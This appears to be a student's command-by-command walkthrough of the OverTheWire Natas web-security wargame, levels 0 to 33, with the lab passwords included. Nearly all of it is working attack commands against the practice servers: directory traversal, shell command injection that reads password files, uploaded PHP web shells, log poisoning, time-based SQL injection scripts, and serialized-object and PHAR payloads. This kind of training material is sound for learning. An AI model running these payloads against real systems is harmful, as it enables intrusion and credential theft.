**LEVEL 0**

Accessed the website using browser or curl

*curl -u natas0:natas0 http://natas0.natas.labs.overthewire.org/ (in cmd)*

# Viewed the page source (in browser: right click > View Page Source)

**Level 1**

# Searched for password in the HTML comment (in cmd)

curl -u natas1: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq http://natas1.natas.labs.overthewire.org | grep password

**level 2**

# Check directory listing

curl -u natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI http://natas2.natas.labs.overthewire.org/files/

# Fetch users.txt

curl -u natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI http://natas2.natas.labs.overthewire.org/files/users.txt

# Grep the password

curl -u natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI http://natas2.natas.labs.overthewire.org/files/users.txt | grep natas3

**level 3**

# Step 1: View page source (done via browser or curl)

curl -s -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH http://natas3.natas.labs.overthewire.org

# Step 2: Check robots.txt based on hint in source

curl -u natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH http://natas3.natas.labs.overthewire.org/robots.txt

# Step 3: Access the hidden directory found in robots.txt

curl -u natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
http://natas3.natas.labs.overthewire.org/s3cr3t/

# Step 4: Open the file containing the next password

curl -u natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

**LEVEL 4**

# Step 1: Access the page with credentials

curl -u natas4: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ http://natas4.natas.labs.overthewire.org

# Step 2: Observe the message on the page and source code (use browser or curl)

curl -s -u natas4 QryZXc2e0zahULdHrtHxzyYkj59kUxLQ http://natas4.natas.labs.overthewire.org

# Step 3: Send a custom HTTP Referer header using curl

curl -u natas4 QryZXc2e0zahULdHrtHxzyYkj59kUxLQ -H "Referer:
http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org

**LEVEL 5**

# Step 1: Access the page with curl and check response

curl -u natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK http://natas5.natas.labs.overthewire.org

# Step 2: Save the cookie or check headers using -I

curl -u natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK -I http://natas5.natas.labs.overthewire.org

# Step 3: Send a modified cookie to trick the server

curl -u natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK --cookie "loggedin=1"
http://natas5.natas.labs.overthewire.org

**LEVEL 6**

# Check the page

curl -u natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned http://natas6.natas.labs.overthewire.org

# Access the secret include file directly

curl -u natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
http://natas6.natas.labs.overthewire.org/includes/secret.inc

# Submit the secret via POST

curl -u natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned -d
"secret=<retrieved_secret>&submit=submit" http://natas6.natas.labs.overthewire.org

**LEVEL7**

# First, visit the Natas level 7 URL

curl http://natas7.natas.labs.overthewire.org

# Check the URL for parameters to manipulate

# Trying directory traversal to access sensitive files

curl http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8

**LEVEL 8**

No command used.

**LEVEL 9**

curl -u natas9: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t
http://natas9.natas.labs.overthewire.org/?needle=anything; cat /etc/natas_webpass/natas10

**LEVEL 10**

curl -u natas10: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu --data
"needle=anything%0A/etc/natas_webpass/natas11&submit=Search"
http://natas10.natas.labs.overthewire.org

%0A is URL encoding for newline \n

**LEVEL 11**

curl --cookie "data=HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5" -u natas11:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk http://natas11.natas.labs.overthewire.org

**LEVEL 12**

# Step 1: Create the PHP file that reads the password for Natas 13

echo '<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>' | Out-File -Encoding ASCII exploit.php

# Step 2: Use curl to upload the exploit.php file to the Natas 12 server

curl.exe -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB -F "filename=exploit.php" -F "uploadedfile=@exploit.php" http://natas12.natas.labs.overthewire.org

# Step 3: Access the uploaded exploit.php file to read the password for Natas 13

curl.exe -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB http://natas12.natas.labs.overthewire.org/upload/e94bk9mf0o.php

**LEVEL 13**

# 1. Prepare the payload (JPEG header + PHP code) and create the exploit file

$hexBytes = "0xFF,0xD8,0xFF,0xDB"; [Byte[]]$jpegHeader = $hexBytes -split ',' | ForEach-Object { [Convert]::ToByte($_, 16) }; $phpCode = '<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>'; $jpegHeader + [System.Text.Encoding]::ASCII.GetBytes($phpCode) | Set-Content -Path exploit.jpg.php -Encoding Byte -Force

# 2. Upload the payload to the server using curl

curl.exe -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC -F "filename=exploit.php" -F "uploadedfile=@exploit.jpg.php;type=image/jpeg" http://natas13.natas.labs.overthewire.org

# 3. Execute the uploaded PHP file to get the password

curl.exe -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC http://natas13.natas.labs.overthewire.org/upload/ng62grpudu.php

**LEVEL 15**

# Step 1: Confirm natas16 user exists
curl -u natas15: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
"http://natas15.natas.labs.overthewire.org/?username=natas16"

# Step 2: Run the script to find characters in password
python pass_char_identify.py

# Step 3: Run the brute-force script to find the full password
python brute_force.py

**LEVEL 16**

# Step 1: Confirm we can access Level 16
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
"http://natas16.natas.labs.overthewire.org/"

# Step 2: Test if command substitution $(...) is possible
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
"http://natas16.natas.labs.overthewire.org/?needle=$(ls)/British"

# Step 3: Check if we can grep from natas17's password file manually
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo
"http://natas16.natas.labs.overthewire.org/?needle=$(grep a /etc/natas_webpass/natas17)British"

# Step 4: Run script to find valid characters in the password and brute force paasword
python find_valid_chars.py

**LEVEL 17**

# Step 1: Confirm access to Level 17
curl -u natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0O

"http://natas17.natas.labs.overthewire.org/"

# Step 2: Basic test injection to confirm timing attack works

curl -u natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0O --data-urlencode "username=natas18\" AND SLEEP(5) -- " "http://natas17.natas.labs.overthewire.org/" --output nul --write-out "%{time_total}\n"

# Step 3: Create and run a Python script to extract valid password

python extract_password_natas17.py

```
import requests
#import string

url = "http://natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC@natas17.natas.labs.overthewire.org/"
auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
password = ""

for i in range(32):
    for j in charset:
        req= requests.get(url+'?username=natas18"  AND password LIKE BINARY"'+ password + j + '%" AND SLEEP(2) -- ')

        if req.elapsed.total_seconds() >=2:
            password=password+j
            print('Password: ' + password)
            break
```

**LEVEL 18**

# Step 1: Navigate to the directory where the script is saved

cd "/c/Users/Neha Kasera/OneDrive/Desktop/acitvity"

# Step 2: Make the bash script executable

```
chmod +x natas18_brute.sh

# Step 3: Execute the script
./natas18_brute.sh
```

**LEVEL 19**

```
# Navigate to the directory where the script is saved
cd "/c/Users/Neha Kasera/OneDrive/Desktop/acitvity"

# Make the bash script executable
chmod +x natas19_brute.sh

# Run the script using Git Bash
./natas19_brute.sh
```

**LEVEL 20**

```
# Step 1: Submit Malicious Name with Newline Injection to Set Admin Variable
curl -s -c cookies.txt -u natas20: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw \
  --data-urlencode $'name=foo\nadmin 1' \
  http://natas20.natas.labs.overthewire.org/

# Step 2: Reuse the Session and Retrieve the Password for Natas 21
curl -s -b cookies.txt -u natas20: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw \
  http://natas20.natas.labs.overthewire.org/ | grep -iE "natas21|password"
```

**LEVEL 21**

```
# Step 1: Get the session cookie from the experimenter site
PHPSID=$(curl -s -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH -c - http://natas21-
    experimenter.natas.labs.overthewire.org/ | \
        grep PHPSESSID | awk '{print $7}')
```

```
# Step 2: Use that cookie to set admin=1
curl -s -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH \
    -b "PHPSESSID=$PHPSID" \
    -d "submit=1&admin=1&bgcolor=%23ffffff" \
    http://natas21-experimenter.natas.labs.overthewire.org/index.php >/dev/null

# Step 3: Send that session cookie to the main site and extract the password
curl -s -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH \
    -b "PHPSESSID=$PHPSID" \
    http://natas21.natas.labs.overthewire.org/ | grep -o 'Password: .*' | cut -d' ' -f2-
```

**LEVEL 22**

```
# Step 1: Make a request to the given URL with the "revelio" parameter
curl -s -u natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
     "http://natas22.natas.labs.overthewire.org/index.php?revelio"

# Step 2: Extract the password from the response
curl -s -u natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
     "http://natas22.natas.labs.overthewire.org/index.php?revelio" \
| grep -oP 'Password: \K.*'
```

**LEVEL 23**

```
# Step 1: Access the vulnerable URL with a crafted 'passwd' parameter
curl -s -u natas23:dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs \
"http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou"
```

**LEVEL 24**

```
# Step 1: Send a GET request with 'passwd' as an array to exploit the type comparison flaw
curl -s -u natas24:MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd \
"http://natas24.natas.labs.overthewire.org/?passwd[]=0"
```

## LEVEL 25

**Step 1: Get PHPSESSID and save cookies**

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws -c cookies.txt
    http://natas25.natas.labs.overthewire.org/ > /dev/null
```

**Step 2: Extract session ID**

```
phpsessid=$(grep PHPSESSID cookies.txt | awk '{print $7}')

echo $phpsessid
```

**Step 3: Poison the log file with PHP code**

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws \

  -b cookies.txt \

  -A '<?php system("cat /etc/natas_webpass/natas26"); ?>' \

  http://natas25.natas.labs.overthewire.org/ > /dev/null
```

**Step 4: Trigger file inclusion using traversal**

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws \

  -b cookies.txt \

"http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas
    25_${phpsessid}.log"
```

**Step 5: Extract Natas26 password from output**

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws \

  -b cookies.txt \

"http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas
    25_${phpsessid}.log" | grep -oE '[a-zA-Z0-9]{32}'
```

## LEVEL 26

```
# Step 1: Send the malicious serialized Logger object via the 'drawing' cookie

curl -s -u natas26:oGtWAx2kvoD5Fqonp0OmaWn4IE5RCcHa \

  -b
    "drawing=Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo2NToiL3Zhci9
    3d3cvbmF0YXMvbmF0YXMyNi9pbWcvbmF0YXMyNl9xODJvcHR0NTk3N2FyN2dzYzhidGhl
    MDEyMy5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo1OToiPD9waHAgZWNobyBza
    GVsbF9leGVjKCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30=" \

  http://natas26.natas.labs.overthewire.org/
```

# Step 2: Trigger the payload to get the password for natas27

```
curl -s -u natas26:oGtWAx2kvoD5Fqonp0OmaWn4IE5RCcHa \
  http://natas26.natas.labs.overthewire.org/img/natas26_q82optt5977ar7gsc8bthe0123.php
```

**LEVEL 27**

# Generate a long username starting with 'natas28' and padding to exceed 64 characters

```
username=$(printf 'natas28%056dB' 0 | tr '0' 'A')
```

# Register this padded username with a chosen password (e.g., 'testpass')

```
curl -s -u natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ \
  --data-urlencode "username=$username" \
  --data-urlencode "password=testpass" \
  http://natas27.natas.labs.overthewire.org/
```

# Attempt to login as 'natas28' using your own password to extract the real credentials

```
curl -s -u natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ \
  --data-urlencode "username=natas28" \
  --data-urlencode "password=testpass" \
  http://natas27.natas.labs.overthewire.org/ | grep -oE '[a-zA-Z0-9]{32}'
```

**LEVEL 28**

# Submit a crafted SQL injection payload and get the redirected encrypted query URL

```
curl -s -u natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF \
  --data-urlencode "query=AAAAAAAAA' UNION SELECT password FROM users; -- " \
  http://natas28.natas.labs.overthewire.org/ \
  | grep -o 'search.php?query=[^"]*'
```

# Copy the output from the above and fetch the search result to extract the next level password

```
curl -s -u natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF \
  "http://natas28.natas.labs.overthewire.org/search.php?query=<your_encoded_query_here>" \
```

```
  | grep -oE '[a-zA-Z0-9]{32}'
```

**LEVEL 29**

```
# Send a command injection using wildcards to bypass the 'natas' filter and read the password file
curl -s -u natas29:airooCaiseiyee8he8xongien9euhe8b \
  "http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/n?tas_webpass/n?tas30%00"

# Extract the 32-character password for natas30 from the response
curl -s -u natas29:airooCaiseiyee8he8xongien9euhe8b \
  "http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/n?tas_webpass/n?tas30%00" \
  | grep -oE '[a-zA-Z0-9]{32}'
```

**LEVEL 30**

```
# Exploit the Perl script's mishandling of multiple username parameters in POST request
# The first 'username' value is injected with SQL, the second overwrites the clean value in the Perl code
curl -s -u natas30:wie9iexae0Daihohv8vuu3cei9wahf0e \
  -d "username=' OR 1=1 -- " \
  -d "username=1" \
  -d "password=irrelevant" \
  http://natas30.natas.labs.overthewire.org/ \
  | grep -oE '[a-zA-Z0-9]{32}'
```

**LEVEL 31**

```
# Step 1: Create a dummy file to satisfy the form requirement
echo "dummy" > dummy.txt

# Step 2: Exploit the command injection vulnerability via curl
curl -s -u natas31:hay7aecuungiuKaezuathuk9biin0pu1 \
  -F "file=|cat /etc/natas_webpass/natas32" \
  -F "file=@dummy.txt" \
  http://natas31.natas.labs.overthewire.org/ | grep -oE '[a-zA-Z0-9]{32}'
```

**LEVEL 32**

```
# Step 1: Create a dummy file to satisfy the file upload requirement
echo "dummy" > dummy.txt

# Step 2: Exploit the command injection to read the Natas33 password
curl -s -u natas32:no1vohsheCaiv3ieH4em1ahchisainge \
  -F "file=|cat /etc/natas_webpass/natas33" \
  -F "file=@dummy.txt" \
  http://natas32.natas.labs.overthewire.org/ | grep -oE '[a-zA-Z0-9]{32}'
```

**LEVEL 33**

```
# Step 1: Create the PHP shell to read the Natas34 password
echo "<?php system('cat /etc/natas_webpass/natas34'); ?>" > shell.php

# Step 2: Write a PHP script to generate a PHAR file with a crafted metadata object
cat > natas33.php << 'EOF'
<?php
class Executor {
    public $filename = 'shell.php';
    public $signature = true;
}
$phar = new Phar('natas.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata(new Executor());
$phar->stopBuffering();
?>
EOF
```

```
# Step 3: Generate the PHAR archive
php -d phar.readonly=0 natas33.php

# Step 4: Upload both the PHAR and shell file
curl -s -u natas33:shoogeiGa2yee3de6Aex8uaXeech5eey \
  -F "file=@natas.phar" \
  http://natas33.natas.labs.overthewire.org/

curl -s -u natas33:shoogeiGa2yee3de6Aex8uaXeech5eey \
  -F "file=@shell.php" \
  http://natas33.natas.labs.overthewire.org/

# Step 5: Trigger the deserialization (adjust the path if needed)
curl -s -u natas33:shoogeiGa2yee3de6Aex8uaXeech5eey \
  -F "file=@phar://uploads/natas.phar" \
  http://natas33.natas.labs.overthewire.org/
```